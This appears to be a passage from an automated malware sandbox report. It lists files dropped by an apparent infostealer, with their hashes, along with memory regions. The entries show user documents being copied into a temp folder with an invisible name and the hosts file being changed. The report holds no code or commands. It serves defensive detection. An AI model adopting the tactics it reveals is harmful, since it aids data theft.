                                                                                        607KB

                                                                                        MD5

                                                                                        abe8eec6b8876ddad5a7d60640664f40

                                                                                        SHA1

                                                                                        0b3b948a1a29548a73aaf8d8148ab97616210473

                                                                                        SHA256

                                                                                        26fc80633494181388cf382f417389c59c28e9ffedde8c391d95eddb6840b20d

                                                                                        SHA512

                                                                                        de978d97c04bad9ebb3f423210cbcb1b78a07c21daadc5c166e00206ece8dcd7baac1d67c84923c9cc79c8b9dfbec719ce7b5f17343a069527bba1a4d0454c29

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI28322\unicodedata.pyd

                                                                                        Filesize

                                                                                        295KB

                                                                                        MD5

                                                                                        908e8c719267692de04434ab9527f16e

                                                                                        SHA1

                                                                                        5657def35fbd3e5e088853f805eddd6b7b2b3ce9

                                                                                        SHA256

                                                                                        4337d02a4b24467a48b37f1ccbcebd1476ff10bdb6511fbb80030bbe45a25239

                                                                                        SHA512

                                                                                        4f9912803f1fa9f8a376f56e40a6608a0b398915b346d50b6539737f9b75d8e9a905beb5aace5fe69ba8847d815c600eb20330e79a2492168735b5cfdceff39a

                                                                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zaruf333.i4s.ps1

                                                                                        Filesize

                                                                                        60B

                                                                                        MD5

                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                        SHA1

                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                        SHA256

                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                        SHA512

                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                      • C:\Users\Admin\AppData\Local\Temp\csfkr1wr\csfkr1wr.dll

                                                                                        Filesize

                                                                                        4KB

                                                                                        MD5

                                                                                        d0f0adb2ef10018f3d26fb4c83e87710

                                                                                        SHA1

                                                                                        d770af2cd4d10627f9c1ff0c40a986f40f9e09fb

                                                                                        SHA256

                                                                                        27ff478851f244f33e2429b2526f3cb02c99b40f514a3ef12702a6fc8731d3fe

                                                                                        SHA512

                                                                                        d7595c54411560670edaa969556a8c0bc9b6ffc7f94cb50b5c9ce35dbb5599c3b8bde4f6cfc7ae2b6fe59b64571024592851edac79bdbe2ece1e4b96491e59f0

                                                                                      • C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Desktop\EnableUnprotect.mp4

                                                                                        Filesize

                                                                                        762KB

                                                                                        MD5

                                                                                        6f5768c7d270729b69f26acb4d3de4c5

                                                                                        SHA1

                                                                                        f2794548973f175bb4a6e3986ee1e9433559cdbc

                                                                                        SHA256

                                                                                        3ee381dcb8f46447952709bdee1c9b6e7b30e6a35ad38860379789e2e2261ce9

                                                                                        SHA512

                                                                                        1f5b756c052b351514b655185006b375d9718e8fe8a135d25d19a26805f5679f1baecf0a591eb96bc04f5620a5d9433c3a9d382889b2d7c8d5d1be426bb16d7c

                                                                                      • C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Desktop\MeasureTest.jpeg

                                                                                        Filesize

                                                                                        1.0MB

                                                                                        MD5

                                                                                        3cf0cd015ed87b77925a3902854333c1

                                                                                        SHA1

                                                                                        978d585fa6e2e957539ef26b9b1b546f04b5138a

                                                                                        SHA256

                                                                                        dab8b75010cfc657df1f13b1969d4d3b3de9365e171a8a2237d76fb39ab7b35d

                                                                                        SHA512

                                                                                        b66f44d0d0f04eb4b50266fb41514191199837b739d181eb4601f87534eeff2313fe662651cc028005b0362788c224b5c4ebf1418a577d9603c8177992b87041

                                                                                      • C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Desktop\OpenConvertTo.txt

                                                                                        Filesize

                                                                                        1.1MB

                                                                                        MD5

                                                                                        9ba5436eb24dc273a501d6ea30c10f89

                                                                                        SHA1

                                                                                        b34d92401d936fc3be32f721093a176788e09819

                                                                                        SHA256

                                                                                        bf5783648f26c62688319c4204279caf561f14d3a39090e9f61fc8797ae7ae5b

                                                                                        SHA512

                                                                                        5d5a9b11b89330d79a7656fc15d162ebf0244394da4f79f6260d07cb13c07495665e95f93c94344d0dfc4d2078b630a0b951b2652750e0724ee37f288f74b79a

                                                                                      • C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Desktop\OutSplit.mp4

                                                                                        Filesize

                                                                                        544KB

                                                                                        MD5

                                                                                        79019279098f80b7229bfead30b9df09

                                                                                        SHA1

                                                                                        eda5d03567b09cf3fc2172e70992d9ae28f50ed4

                                                                                        SHA256

                                                                                        23f9b79e51d52aa56adf66453ec6d74a721c2ad880cbbea31618866c6961a2c7

                                                                                        SHA512

                                                                                        df57e6709c38c06cc7b15f834b2467c8321be96535a0657f9b1e2aee4c472d036a74859aee0863ac12f60581945215344f138e4bff6cab6b1913a3e8d6e460b6

                                                                                      • C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Desktop\SkipResume.xlsx

                                                                                        Filesize

                                                                                        9KB

                                                                                        MD5

                                                                                        6cb426ed6a37b3510b7ca772e49e31fd

                                                                                        SHA1

                                                                                        447e6dc69b6686f71713399d08c2697593e679a3

                                                                                        SHA256

                                                                                        affc76f9c7b5bb21dc310111e7bfc7a66e756288f2f515fecc72f9bb2ff04307

                                                                                        SHA512

                                                                                        4afe8db40311f01f51ac063d4b31eefe9f018e1d7d3cb86ca84beaa4b55361186be0a2906dc980fa64db1f452d13b33f2152b9b89c814b52a6b002a5f31488c0

                                                                                      • C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Desktop\SyncExpand.xlsx

                                                                                        Filesize

                                                                                        10KB

                                                                                        MD5

                                                                                        0d0ed233f3bcac4ee1f7cdf3176695bd

                                                                                        SHA1

                                                                                        ba729bb91f826a553befd50e978eb057a4d80f00

                                                                                        SHA256

                                                                                        fdd9fe2453256bd252004d9ccabcebbb47e55c4c8696d0c13a74c43a3030cdb1

                                                                                        SHA512

                                                                                        16318e3bf66a011289329191e4d31fb329b5ec99e0b4a49909fff2374e42f2f1344d43b6086da41ee5d0c3bcc2572c93f1ea0fd47f3cb4afb51f0781a2501903

                                                                                      • C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Documents\AddBackup.xlsx

                                                                                        Filesize

                                                                                        14KB

                                                                                        MD5

                                                                                        e385a991a7f462ab5a69c22c3484ecf1

                                                                                        SHA1

                                                                                        d32dd7e80026db52fd47134d8094c2acddb2dda9

                                                                                        SHA256

                                                                                        01aef927e279662523af78d645da4538c7557a62989d275b164af9dd3369722d

                                                                                        SHA512

                                                                                        c3a473c8e327a2ced526a473ef8c08857b8be40e961f7ab47a7449e0b816ca17635c6dc6b020782d6858b61cac96c7f5c09d830b9fa29c3f587debd81693c411

                                                                                      • C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Documents\ConvertInitialize.pdf

                                                                                        Filesize

                                                                                        739KB

                                                                                        MD5

                                                                                        9e9f5551911bdbb46a0ec45968bcdef3

                                                                                        SHA1

                                                                                        5ee612b065becb61b499438de8befe93b618070a

                                                                                        SHA256

                                                                                        5d7c9482ecc8fe7335ccbde3a6dca5ffabb874c9d03e5d16a956c1b47bcdb375

                                                                                        SHA512

                                                                                        1499bf86c76deabe405c8a9215fdd884d8d881e4ac8116446b6806cad729853d7a1a1ed5e9db613c8b0afd451b0b0a452e9c819aa3da6d362e81400904728f6b

                                                                                      • C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Documents\JoinReset.xls

                                                                                        Filesize

                                                                                        346KB

                                                                                        MD5

                                                                                        066771601ef62c39d49f79a7fa2c0226

                                                                                        SHA1

                                                                                        716e0e365044b1bde0182197fa334bf3e46ce01f

                                                                                        SHA256

                                                                                        2bef2a3cd2840a18b74c88a9569ecfa3be23c0c22ce34a6d5bc4d37814966eab

                                                                                        SHA512

                                                                                        1f0008d6828e762c7dae40cfa59ba9929612bff4889d432c3f7758057ae996326c9c9ab8534818fc6e42731b98fc98fe40cd7bb6cfe90efe9c03071a1b090493

                                                                                      • C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Documents\NewPublish.docx

                                                                                        Filesize

                                                                                        13KB

                                                                                        MD5

                                                                                        3181c9cc48b3d476879c546d861f6414

                                                                                        SHA1

                                                                                        476c40549ad86cbeb191884c41765b7b3b1eb823

                                                                                        SHA256

                                                                                        01908ce387b8b7c906964b463b23953cee1cf4e44a2099d8bcc6f41c852c2de9

                                                                                        SHA512

                                                                                        ea63946ce0601936708c3eb148e3539d9993a09077bfd731f8962c1a4f97655907dc1f1a5ebd2aa85a706601d68f9c886c24c3129bddf848d0d376643f5fd013

                                                                                      • C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Documents\PopBackup.pdf

                                                                                        Filesize

                                                                                        624KB

                                                                                        MD5

                                                                                        5c512c222d7fe9f3f0e356628cc01393

                                                                                        SHA1

                                                                                        a77108bc476bf8f149a16c15d7bb67acfb279e3e

                                                                                        SHA256

                                                                                        3c0c9505954bea6d557354a468d4dbcfd720deb688e8915cc1d30e77568c7d1c

                                                                                        SHA512

                                                                                        9eba097096e0fdbb3a3de1ed2b1256eaf08f55edb0dc1fdfa09c142477ef70eb60652c0441418e75340e3c5c80fb26394eae08701edec52467472556c93122a9

                                                                                      • C:\Users\Admin\AppData\Local\Temp\      ‍   \Common Files\Documents\RedoDismount.csv

                                                                                        Filesize

                                                                                        554KB

                                                                                        MD5

                                                                                        7c6d8508f5c917bc9edab94608462a74

                                                                                        SHA1

                                                                                        ca6701c2748af11445169f9b8308034b1e772d9a

                                                                                        SHA256

                                                                                        a66b53be033bcac454c405953359cef94fbeddc10255a6a3d72451d13e76e6d9

                                                                                        SHA512

                                                                                        d238f4cede4074297de20fe4691d3d93f0ac52fef401a0d6fff5575a38b462408e89f22afd438b5a2f82ddd63add7df73bf0ab50d04f87cafb3509b4a4b945df

                                                                                      • C:\Windows\System32\drivers\etc\hosts

                                                                                        Filesize

                                                                                        2KB

                                                                                        MD5

                                                                                        f99e42cdd8b2f9f1a3c062fe9cf6e131

                                                                                        SHA1

                                                                                        e32bdcab8da0e3cdafb6e3876763cee002ab7307

                                                                                        SHA256

                                                                                        a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

                                                                                        SHA512

                                                                                        c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

                                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\csfkr1wr\CSC546009C27B98433886F5348A02AC4B4.TMP

                                                                                        Filesize

                                                                                        652B

                                                                                        MD5

                                                                                        d02a94b80154f93bec78fcd1e437ba9d

                                                                                        SHA1

                                                                                        54b952ca0ac011cef03c57564db3f467103a3f34

                                                                                        SHA256

                                                                                        64d47ac28798c70034e0c503825f423d08999e7eacd9b6a170b59cf859bd1c43

                                                                                        SHA512

                                                                                        6bee684fd20f8e17eb4a302510ccb5393e7457e62c59ce82ad82506bd642e55f10ba24a5ff7973950f77b9c9d37190b125778ec241467acda9c7e6c3e1c03a79

                                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\csfkr1wr\csfkr1wr.0.cs

                                                                                        Filesize

                                                                                        1004B

                                                                                        MD5

                                                                                        c76055a0388b713a1eabe16130684dc3

                                                                                        SHA1

                                                                                        ee11e84cf41d8a43340f7102e17660072906c402

                                                                                        SHA256

                                                                                        8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                                                                                        SHA512

                                                                                        22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\csfkr1wr\csfkr1wr.cmdline

                                                                                        Filesize

                                                                                        607B

                                                                                        MD5

                                                                                        b2c8c47accd5c6b71cac81994a4511e0

                                                                                        SHA1

                                                                                        f94e24ff0e17abe7990e522b9fd287619dcc5590

                                                                                        SHA256

                                                                                        56829a32a7d3f02b9b51077d84e2a58b0147f6680603bca32bc194e514a12895

                                                                                        SHA512

                                                                                        b779e038970162218b1fd1f302173ea99f1109aee62ad2fdeaa2b49e5e7ecb0e6bae91907ed9b6219cc738591cd957bb6f616b7ba441e6f07ce38445f0c282f4

                                                                                      • memory/640-212-0x00000234ED090000-0x00000234ED098000-memory.dmp

                                                                                        Filesize

                                                                                        32KB

                                                                                      • memory/2444-54-0x00007FFA3ED30000-0x00007FFA3ED5D000-memory.dmp

                                                                                        Filesize

                                                                                        180KB

                                                                                      • memory/2444-25-0x00007FFA2F650000-0x00007FFA2FC3A000-memory.dmp

                                                                                        Filesize

                                                                                        5.9MB

                                                                                      • memory/2444-111-0x00007FFA3E670000-0x00007FFA3E7DF000-memory.dmp

                                                                                        Filesize

                                                                                        1.4MB

                                                                                      • memory/2444-108-0x00007FFA3EBF0000-0x00007FFA3EC13000-memory.dmp

                                                                                        Filesize

                                                                                        140KB

                                                                                      • memory/2444-68-0x00007FFA3EAF0000-0x00007FFA3EB1E000-memory.dmp

                                                                                        Filesize

                                                                                        184KB

                                                                                      • memory/2444-76-0x00007FFA3EBD0000-0x00007FFA3EBE4000-memory.dmp

                                                                                        Filesize

                                                                                        80KB

                                                                                      • memory/2444-71-0x00007FFA3EA30000-0x00007FFA3EAE8000-memory.dmp

                                                                                        Filesize

                                                                                        736KB

                                                                                      • memory/2444-72-0x00007FFA2EDE0000-0x00007FFA2F155000-memory.dmp

                                                                                        Filesize

                                                                                        3.5MB

                                                                                      • memory/2444-79-0x00007FFA41C90000-0x00007FFA41C9D000-memory.dmp

                                                                                        Filesize

                                                                                        52KB

                                                                                      • memory/2444-74-0x00000299911D0000-0x0000029991545000-memory.dmp

                                                                                        Filesize

                                                                                        3.5MB

                                                                                      • memory/2444-73-0x00007FFA3F060000-0x00007FFA3F083000-memory.dmp

                                                                                        Filesize

                                                                                        140KB

                                                                                      • memory/2444-67-0x00007FFA2F650000-0x00007FFA2FC3A000-memory.dmp

                                                                                        Filesize

                                                                                        5.9MB

                                                                                      • memory/2444-275-0x00007FFA3EAF0000-0x00007FFA3EB1E000-memory.dmp

                                                                                        Filesize

                                                                                        184KB

                                                                                      • memory/2444-276-0x00007FFA3EA30000-0x00007FFA3EAE8000-memory.dmp

                                                                                        Filesize

                                                                                        736KB

                                                                                      • memory/2444-278-0x00007FFA2EDE0000-0x00007FFA2F155000-memory.dmp

                                                                                        Filesize

                                                                                        3.5MB

                                                                                      • memory/2444-64-0x00007FFA424D0000-0x00007FFA424DD000-memory.dmp

                                                                                        Filesize

                                                                                        52KB

                                                                                      • memory/2444-62-0x00007FFA3ED10000-0x00007FFA3ED29000-memory.dmp

                                                                                        Filesize

                                                                                        100KB

                                                                                      • memory/2444-60-0x00007FFA3E670000-0x00007FFA3E7DF000-memory.dmp

                                                                                        Filesize

                                                                                        1.4MB

                                                                                      • memory/2444-58-0x00007FFA3EBF0000-0x00007FFA3EC13000-memory.dmp

                                                                                        Filesize

                                                                                        140KB

                                                                                      • memory/2444-56-0x00007FFA462D0000-0x00007FFA462E9000-memory.dmp

                                                                                        Filesize

                                                                                        100KB

                                                                                      • memory/2444-78-0x00007FFA3ED30000-0x00007FFA3ED5D000-memory.dmp

                                                                                        Filesize

                                                                                        180KB

                                                                                      • memory/2444-47-0x00007FFA3F060000-0x00007FFA3F083000-memory.dmp

                                                                                        Filesize

                                                                                        140KB

                                                                                      • memory/2444-48-0x00007FFA480F0000-0x00007FFA480FF000-memory.dmp

                                                                                        Filesize

                                                                                        60KB

                                                                                      • memory/2444-181-0x00007FFA3ED10000-0x00007FFA3ED29000-memory.dmp

                                                                                        Filesize

                                                                                        100KB

                                                                                      • memory/2444-357-0x00007FFA3EBD0000-0x00007FFA3EBE4000-memory.dmp

                                                                                        Filesize

                                                                                        80KB

                                                                                      • memory/2444-82-0x00007FFA2ECC0000-0x00007FFA2EDDC000-memory.dmp

                                                                                        Filesize

                                                                                        1.1MB

                                                                                      • memory/2444-81-0x00007FFA462D0000-0x00007FFA462E9000-memory.dmp

                                                                                        Filesize

                                                                                        100KB

                                                                                      • memory/2444-293-0x00000299911D0000-0x0000029991545000-memory.dmp

                                                                                        Filesize

                                                                                        3.5MB

                                                                                      • memory/2444-295-0x00007FFA2F650000-0x00007FFA2FC3A000-memory.dmp

                                                                                        Filesize

                                                                                        5.9MB

                                                                                      • memory/2444-296-0x00007FFA3F060000-0x00007FFA3F083000-memory.dmp

                                                                                        Filesize

                                                                                        140KB

                                                                                      • memory/2444-309-0x00007FFA2ECC0000-0x00007FFA2EDDC000-memory.dmp

                                                                                        Filesize

                                                                                        1.1MB

                                                                                      • memory/2444-301-0x00007FFA3E670000-0x00007FFA3E7DF000-memory.dmp

                                                                                        Filesize

                                                                                        1.4MB

                                                                                      • memory/2444-330-0x00007FFA2F650000-0x00007FFA2FC3A000-memory.dmp

                                                                                        Filesize

                                                                                        5.9MB

                                                                                      • memory/2444-360-0x00007FFA480F0000-0x00007FFA480FF000-memory.dmp

                                                                                        Filesize

                                                                                        60KB

                                                                                      • memory/2444-368-0x00007FFA3EAF0000-0x00007FFA3EB1E000-memory.dmp

                                                                                        Filesize

                                                                                        184KB

                                                                                      • memory/2444-367-0x00007FFA424D0000-0x00007FFA424DD000-memory.dmp

                                                                                        Filesize

                                                                                        52KB

                                                                                      • memory/2444-366-0x00007FFA3ED10000-0x00007FFA3ED29000-memory.dmp

                                                                                        Filesize

                                                                                        100KB

                                                                                      • memory/2444-365-0x00007FFA3E670000-0x00007FFA3E7DF000-memory.dmp

                                                                                        Filesize

                                                                                        1.4MB

                                                                                      • memory/2444-364-0x00007FFA3EBF0000-0x00007FFA3EC13000-memory.dmp

                                                                                        Filesize

                                                                                        140KB

                                                                                      • memory/2444-363-0x00007FFA462D0000-0x00007FFA462E9000-memory.dmp

                                                                                        Filesize

                                                                                        100KB

                                                                                      • memory/2444-362-0x00007FFA3ED30000-0x00007FFA3ED5D000-memory.dmp

                                                                                        Filesize

                                                                                        180KB

                                                                                      • memory/2444-361-0x00007FFA3F060000-0x00007FFA3F083000-memory.dmp

                                                                                        Filesize

                                                                                        140KB

                                                                                      • memory/2444-359-0x00007FFA2ECC0000-0x00007FFA2EDDC000-memory.dmp

                                                                                        Filesize

                                                                                        1.1MB

                                                                                      • memory/2444-356-0x00007FFA2EDE0000-0x00007FFA2F155000-memory.dmp

                                                                                        Filesize

                                                                                        3.5MB

                                                                                      • memory/2444-355-0x00007FFA3EA30000-0x00007FFA3EAE8000-memory.dmp

                                                                                        Filesize

                                                                                        736KB

                                                                                      • memory/2444-345-0x00007FFA2F650000-0x00007FFA2FC3A000-memory.dmp

                                                                                        Filesize

                                                                                        5.9MB

                                                                                      • memory/2444-358-0x00007FFA41C90000-0x00007FFA41C9D000-memory.dmp

                                                                                        Filesize

                                                                                        52KB

                                                                                      • memory/5040-84-0x00000200352A0000-0x00000200352C2000-memory.dmp

                                                                                        Filesize

                                                                                        136KB

                                                                                      We care about your privacy.

                                                                                      This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.